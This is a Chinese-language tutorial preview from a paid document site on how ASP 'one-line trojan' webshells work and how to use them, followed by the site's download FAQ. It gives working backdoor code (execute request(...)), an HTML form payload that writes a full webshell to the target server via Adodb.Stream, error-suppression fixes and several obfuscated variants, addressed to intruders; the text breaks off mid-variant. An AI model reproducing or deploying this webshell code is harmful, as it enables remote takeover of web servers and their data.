一句话木马的原理及利用

一句话木马的原理及利用(asp,aspx,php,jsp)一句话木马的适用环境:1.服务器的来宾账户有写入权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可一句话木马的工作原理:"一句话木马"服务端(本地的html提交文件)就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%executerequest("value")%>其中value可以自己修改"一句话木马"客户端(远程服务器上被插入一句话的asp文件)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%executerequest("value")%>这个语句.)在ASP里<%execute............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)<formaction=主机路径/TEXT.aspmethod=post><textareaname=valuecols=120rows=10width=45>setlP=server.createObject("Adodb.Stream")//建立流对象lP.Open//打开lP.Type=2//以文本方式lP.CharSet="gb2312"//字体标准lP.writetextrequest("newvalue")lP.SaveToFileserver.mappath("newmm.asp"),2//将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close//关闭对象setlP=nothing//释放对象response.redirect"newmm.asp"//转向newmm.asp</textarea><textareaname=newvaluecols=120rows=10width=45>添入生成木马的内容</textarea><center><inputtype=submitvalue=提交></form>表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有<%executerequest("value")%>这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和<%executerequest("value")%>里的VALUE一样,就是我用蓝色标记的那两处,必须相等)说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.具体的就是下面这一段:setlP=server.createObject("Adodb.Stream")//建立流对象lP.Open//打开lP.Type=2//以文本方式lP.CharSet="gb2312"//字体标准lP.writetextrequest("newvalue")lP.SaveToFileserver.mappath("newvalue.asp"),2//将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close//关闭对象setlP=nothing//释放对象response.redirect"newmm.asp"//转向newmm.asp这样的话第二个表单的名字必须和lP.writetextrequest("newvalue")里的Newvalue一样,就是我用红色标注的那两处.至此只要服务器有写的权限你表单所提交的大马内容就会被写入到newmm.asp中。即newmm.asp为我们的shell地址。关于服务器错误:经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:Scripterrordetectedatline1.Sourceline:executerequest("nettoo")Description:类型不匹配:'execute'这个如何解决呢?想出了一个好办法,只要用"eval"替换掉"execute"服务端,就不会出错了!用一句话客户端连接,加入容错语句,你可以把它插入到任何ASP文件而不会像以前一样出错。<%OnErrorResumeNextexecuterequest("value")%>常见asp一句话木马的变体:<%setms=server.CreateObject("MSScriptControl.ScriptControl.1")ms.Language="VBScript"ms.AddObject"Response",Responsems.AddObject"request",requestms.AddObject"session",sessionms.AddObject"server",serverms.AddObject"application",applicationms.ExecuteStatement("ex""ecute(request(chr(35)))")%><%ExecuteGlobalrequest(chr(35))%><%ExecuteGlobalrequest(chr(35))%><%executerequest("#")%><%executerequest(chr(35))%><scriptlanguage=VBScriptrunat=server>ifrequest(chr(35)...

1、当您付费下载文档后,您只拥有了使用权限,并不意味着购买了版权,文档只能用于自身使用,不得用于其他商业用途(如 [转卖]进行直接盈利或[编辑后售卖]进行间接盈利)。
2、本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供参考,付费前请自行鉴别。
3、如文档内容存在侵犯商业秘密、侵犯著作权等,请点击“举报”。

常见问题具体如下:

1、问:已经付过费的文档可以多次下载吗?

      答:可以。登陆您已经付过费的账号,付过费的文档可以免费进行多次下载。

2、问:已经付过费的文档不知下载到什么地方去了?

     答:电脑端-浏览器下载列表里可以找到;手机端-文件管理或下载里可以找到。

            如以上两种方式都没有找到,请提供您的交易单号或截图及接收文档的邮箱等有效信息,发送到客服邮箱,客服经核实后,会将您已经付过费的文档即时发到您邮箱。

注:微信交易号是以“420000”开头的28位数字;

       支付宝交易号是以“2024XXXX”交易日期开头的28位数字。

客服邮箱:

biganzikefu@outlook.com

所有的文档都被视为“模板”,用于写作参考,下载前须认真查看,确认无误后再购买;

文档大部份都是可以预览的,笔杆子文库无法对文档的真实性、完整性、准确性以及专业性等问题提供审核和保证,请慎重购买;

文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为依据;

如果您还有什么不清楚的或需要我们协助,可以联系客服邮箱:

biganzikefu@outlook.com

常见问题具体如下:

1、问:已经付过费的文档可以多次下载吗?

      答:可以。登陆您已经付过费的账号,付过费的文档可以免费进行多次下载。

2、问:已经付过费的文档不知下载到什么地方去了?

     答:电脑端-浏览器下载列表里可以找到;手机端-文件管理或下载里可以找到。

            如以上两种方式都没有找到,请提供您的交易单号或截图及接收文档的邮箱等有效信息,发送到客服邮箱,客服经核实后,会将您已经付过费的文档即时发到您邮箱。

注:微信交易号是以“420000”开头的28位数字;

       支付宝交易号是以“2024XXXX”交易日期开头的28位数字。

笔杆子文秘
机构认证
内容提供者

为您提供优质文档,供您参考!

确认删除?